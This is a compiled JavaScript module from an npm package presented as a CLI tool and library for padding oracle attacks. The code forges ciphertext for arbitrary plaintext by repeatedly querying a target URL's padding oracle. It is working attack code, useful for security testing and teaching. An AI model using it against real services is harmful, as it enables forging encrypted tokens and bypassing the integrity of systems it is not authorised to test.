padding-oracle-attacker
Version:
CLI tool and library to execute padding oracle attacks easily
47 lines • 2.63 kB
JavaScript
;
var __rest = (this && this.__rest) || function (s, e) {
var t = {};
for (var p in s) if (Object.prototype.hasOwnProperty.call(s, p) && e.indexOf(p) < 0)
t[p] = s[p];
if (s != null && typeof Object.getOwnPropertySymbols === "function")
for (var i = 0, p = Object.getOwnPropertySymbols(s); i < p.length; i++) {
if (e.indexOf(p[i]) < 0 && Object.prototype.propertyIsEnumerable.call(s, p[i]))
t[p[i]] = s[p[i]];
}
return t;
};
var __importDefault = (this && this.__importDefault) || function (mod) {
return (mod && mod.__esModule) ? mod : { "default": mod };
};
Object.defineProperty(exports, "__esModule", { value: true });
const ow_1 = __importDefault(require("ow"));
const util_1 = require("./util");
const logging_1 = require("./logging");
const padding_oracle_1 = __importDefault(require("./padding-oracle"));
const { logStart, logCompletion } = logging_1.encryption;
async function encrypt(_a) {
var { url, blockSize, logMode = 'full', plaintext: _plaintext, makeFinalRequest = true, lastCiphertextBlock } = _a, args = __rest(_a, ["url", "blockSize", "logMode", "plaintext", "makeFinalRequest", "lastCiphertextBlock"]);
ow_1.default(_plaintext, 'plaintext', ow_1.default.buffer);
ow_1.default(lastCiphertextBlock, ow_1.default.optional.buffer);
if (lastCiphertextBlock && lastCiphertextBlock.length !== blockSize)
throw TypeError('Invalid `lastCiphertextBlock`, should have length equal to `blockSize`');
const plaintext = util_1.addPadding(_plaintext, blockSize);
const blockCount = (plaintext.length / blockSize) + 1;
const totalSize = blockCount * blockSize;
const foundBytes = Buffer.alloc(totalSize); // ciphertext bytes
const interBytes = Buffer.alloc(totalSize - blockSize);
const foundOffsets = new Set();
if (lastCiphertextBlock) {
lastCiphertextBlock.copy(foundBytes, foundBytes.length - blockSize);
}
if (['full', 'minimal'].includes(logMode))
logStart({ blockCount, totalSize });
const po = padding_oracle_1.default(Object.assign({ origBytes: plaintext, ciphertext: foundBytes, plaintext, foundBytes, interBytes, foundOffsets, blockSize, blockCount, url, logMode }, args));
await po.processBlocks();
const finalRequest = makeFinalRequest ? await po.callOracle(foundBytes) : undefined;
if (['full', 'minimal'].includes(logMode))
logCompletion({ foundBytes, interBytes, finalRequest });
return { blockCount, totalSize, foundBytes, interBytes, finalRequest };
}
exports.default = encrypt;
//# sourceMappingURL=encrypt.js.map